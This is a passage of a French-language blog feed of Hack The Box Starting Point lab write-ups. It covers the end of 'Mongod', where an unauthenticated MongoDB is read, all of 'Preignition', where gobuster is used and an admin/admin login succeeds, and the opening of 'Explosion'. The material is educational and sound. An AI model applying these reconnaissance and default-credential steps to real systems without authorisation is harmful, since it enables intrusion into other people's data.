style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/LICENSE-mongosh</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/README</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/THIRD_PARTY_NOTICES</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/bin/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/mongosh.1.gz</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/bin/mongosh</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/mongod#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connexion-à-la-base-de-données">Connexion à la base de données<a href="https://mohamedoutougane.com/writeups/mongod#connexion-%C3%A0-la-base-de-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers Connexion à la base de données" title="Lien direct vers Connexion à la base de données" translate="no">​</a></h3>
<p>Maintenant allons a l'endroit ou est l'utilitaire et tentons une connexion.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$cd</span><span class="token plain"> mongosh-2.3.2-linux-x64/bin</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">✗</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~/mongosh-2.3.2-linux-x64/bin</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $./mongosh mongodb://10.129.228.30:27017</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Current Mongosh Log ID: 693c1dd99e268f09ebfe6910</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Connecting to:  mongodb://10.129.228.30:27017/?directConnection</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">true</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token assign-left variable" style="color:#36acaa">appName</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">mongosh+2.3.2</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Using MongoDB:  </span><span class="token number" style="color:#36acaa">3.6</span><span class="token plain">.8</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Using Mongosh:  </span><span class="token number" style="color:#36acaa">2.3</span><span class="token plain">.2</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh </span><span class="token number" style="color:#36acaa">2.5</span><span class="token plain">.10 is available </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> download: https://www.mongodb.com/try/download/shell</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">For mongosh info see: https://www.mongodb.com/docs/mongodb-shell/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">To </span><span class="token builtin class-name">help</span><span class="token plain"> improve our products, anonymous usage data is collected and sent to MongoDB periodically </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">https://www.mongodb.com/legal/privacy-policy</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">You can opt-out by running the disableTelemetry</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> command.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">------</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   The server generated these startup warnings when booting</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:47.332+0000: </span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:47.332+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:47.332+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:48.771+0000: </span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:48.771+0000: ** WARNING: Access control is not enabled </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> the database.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:48.771+0000: **          Read and </span><span class="token function" style="color:#d73a49">write</span><span class="token plain"> access to data and configuration is unrestricted.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12T13:04:48.771+0000:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">------</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">test</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><br></span></code></pre></div></div>
<p>Une fois dedans, on reçoit un avertissement qui devrait faire trembler n'importe quel admin : <strong>WARNING: Access control is not enabled for the database</strong>. Cela signifie que nous avons les pleins pouvoirs (Lecture/Écriture) sans mot de passe.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="fouille-des-données">Fouille des données<a href="https://mohamedoutougane.com/writeups/mongod#fouille-des-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers Fouille des données" title="Lien direct vers Fouille des données" translate="no">​</a></h3>
<p>C'est le moment de jouer avec les <strong>commandes MongoDB</strong>. On commence par lister les bases disponibles avec <strong>show dbs</strong>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">test</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> show dbs</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">admin                   </span><span class="token number" style="color:#36acaa">32.00</span><span class="token plain"> KiB</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">config                 </span><span class="token number" style="color:#36acaa">108.00</span><span class="token plain"> KiB</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">local</span><span class="token plain">                   </span><span class="token number" style="color:#36acaa">72.00</span><span class="token plain"> KiB</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">sensitive_information   </span><span class="token number" style="color:#36acaa">32.00</span><span class="token plain"> KiB</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">users</span><span class="token plain">                   </span><span class="token number" style="color:#36acaa">32.00</span><span class="token plain"> KiB</span><br></span></code></pre></div></div>
<p>La base <strong>sensitive_information</strong> porte un nom beaucoup trop tentant. Selectionnons la avec la commande <code>use</code> suivi du nom de la db</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">test</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> use sensitive_information</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">switched to db sensitive_informatio</span><br></span></code></pre></div></div>
<p>Ensuite, on affiche les <strong>collections</strong> (l'équivalent des tables dans une base SQL) avec la commande <code>show collections</code></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">sensitive_information</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> show collections</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">flag</span><br></span></code></pre></div></div>
<p>Il ne reste plus qu'à lire le contenu de la collection <strong>flag</strong> avec la fonction <code>.find()</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">sensitive_information</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> db.flag.find</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    _id: ObjectId</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'630e3dbcb82540ebbd1748c5'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    flag: </span><span class="token string" style="color:#e3116c">'1b6{...}6ea'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">]</span><br></span></code></pre></div></div>
<p>Et voilà ! Le flag est extrait avec succès.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/mongod#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>Qu'est-ce qui s'est passé ici ? <strong>MongoDB</strong>, dans ses anciennes configurations ou via une mauvaise installation, ne limite pas l'accès aux interfaces réseaux. Si l'administrateur n'active pas le <strong>RBAC</strong> (Role-Based Access Control), le serveur accepte n'importe quelle connexion entrante.</p>
<p>Leçon du jour : Une base de données ne doit JAMAIS être exposée sur le réseau public sans une authentification robuste et, idéalement, un accès limité par IP (Whitelist).</p>
<p>La machine est <strong>pwned</strong> !</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Linux</category>
            <category>Database</category>
            <category>VIP</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[Preignition]]></title>
            <link>https://mohamedoutougane.com/writeups/preignition</link>
            <guid>https://mohamedoutougane.com/writeups/preignition</guid>
            <pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Touchons un peu au web.]]></description>
            <content:encoded><![CDATA[<p>On continue notre ascension avec <strong>Preignition</strong>, la sixième machine du parcours Starting Point de Hack The Box (Tier 0). Cette fois-ci, on s'éloigne des services réseaux "bruts" pour s'attaquer au monde du <strong>Web</strong>. On va apprendre à découvrir des pages cachées et à tester la plus grande faiblesse des admins pressés : les <strong>identifiants par défaut</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vidéo-walkthrough">Vidéo Walkthrough<a href="https://mohamedoutougane.com/writeups/preignition#vid%C3%A9o-walkthrough" class="hash-link" aria-label="Lien direct vers Vidéo Walkthrough" title="Lien direct vers Vidéo Walkthrough" translate="no">​</a></h2>
<iframe width="100%" style="aspect-ratio:16/9" src="https://www.youtube.com/embed/g0zbzkjaCIY" title="Preignition Walkthrough" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/preignition#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/preignition#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.118</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.118: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">13.4</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/preignition#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.118</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">80</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    nginx </span><span class="token number" style="color:#36acaa">1.14</span><span class="token plain">.2</span><br></span></code></pre></div></div>
<p>Un seul port ouvert : le <strong>80</strong>. Serveur web <strong>nginx 1.14.2</strong>. En navigant vers l'IP, on tombe sur la page par défaut "Welcome to nginx".</p>
<p><img decoding="async" loading="lazy" alt="Page nginx par défaut" src="https://mohamedoutougane.com/assets/images/image1-df2ab73125db960f5370e3faf5e6dde4.png" width="720" height="331" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/preignition#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-de-répertoires-avec-gobuster">Énumération de répertoires avec Gobuster<a href="https://mohamedoutougane.com/writeups/preignition#%C3%A9num%C3%A9ration-de-r%C3%A9pertoires-avec-gobuster" class="hash-link" aria-label="Lien direct vers Énumération de répertoires avec Gobuster" title="Lien direct vers Énumération de répertoires avec Gobuster" translate="no">​</a></h3>
<p>Puisque la page d'accueil ne montre rien, on cherche des dossiers ou fichiers cachés avec <strong>Gobuster</strong>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$sudo</span><span class="token plain"> gobuster </span><span class="token function" style="color:#d73a49">dir</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-w</span><span class="token plain"> /usr/share/wordlists/common.txt </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.118</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">/admin.php  </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Status: </span><span class="token number" style="color:#36acaa">200</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">Size: </span><span class="token number" style="color:#36acaa">999</span><span class="token punctuation" style="color:#393A34">]</span><br></span></code></pre></div></div>
<p>Gobuster trouve <strong>/admin.php</strong> (Status 200 = accessible) !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/preignition#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="accès-initial">Accès initial<a href="https://mohamedoutougane.com/writeups/preignition#acc%C3%A8s-initial" class="hash-link" aria-label="Lien direct vers Accès initial" title="Lien direct vers Accès initial" translate="no">​</a></h3>
<p>On se rend sur <code>http://10.129.7.118/admin.php</code> — un formulaire de connexion.</p>
<p><img decoding="async" loading="lazy" alt="Formulaire admin" src="https://mohamedoutougane.com/assets/images/image2-aacc1f7bffaf46d64f646035cb53d70f.png" width="720" height="359" class="img_ev3q"></p>
<p>Comme le serveur semble être une installation fraîche, on tente les identifiants par défaut :</p>
<ul>
<li class=""><strong>Username</strong> : <code>admin</code></li>
<li class=""><strong>Password</strong> : <code>admin</code></li>
</ul>
<p>Ça fonctionne ! On est connecté.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-du-flag">Récupération du flag<a href="https://mohamedoutougane.com/writeups/preignition#r%C3%A9cup%C3%A9ration-du-flag" class="hash-link" aria-label="Lien direct vers Récupération du flag" title="Lien direct vers Récupération du flag" translate="no">​</a></h3>
<p>Une fois connecté sur l'interface d'administration, le flag est affiché directement.</p>
<p><img decoding="async" loading="lazy" alt="Flag Preignition" src="https://mohamedoutougane.com/assets/images/image3-2e10e8bcd3178a6766ca7f627cd28e82.png" width="720" height="262" class="img_ev3q"></p>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/preignition#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>Deux vulnérabilités illustrées ici :</p>
<ul>
<li class=""><strong>Pages d'administration exposées</strong> : ne jamais laisser accessible sans protection supplémentaire</li>
<li class=""><strong>Identifiants par défaut</strong> : toujours les changer dès l'installation d'un service</li>
</ul>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Web</category>
            <category>Linux</category>
            <category>VIP</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[Explosion]]></title>
            <link>https://mohamedoutougane.com/writeups/explosion</link>
            <guid>https://mohamedoutougane.com/writeups/explosion</guid>
            <pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Découverte du protocole RDP et de l'interface graphique.]]></description>
            <content:encoded><![CDATA[<p><strong>Explosion</strong> est la cinquième machine du parcours <em>Starting Point</em> de <a href="https://www.hackthebox.com/" target="_blank" rel="noopener noreferrer" class="">Hack The Box</a> (Tier 0). Après les fichiers (SMB) et les bases de données (Redis), on s'attaque à <strong>l'interface graphique</strong> via le protocole <strong>RDP</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vidéo-walkthrough">Vidéo Walkthrough<a href="https://mohamedoutougane.com/writeups/explosion#vid%C3%A9o-walkthrough" class="hash-link" aria-label="Lien direct vers Vidéo Walkthrough" title="Lien direct vers Vidéo Walkthrough" translate="no">​</a></h2>
<iframe width="100%" style="aspect-ratio:16/9" src="https://www.youtube.com/embed/Cp1uYIbK704" title="Explosion Walkthrough" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/explosion#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/explosion#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
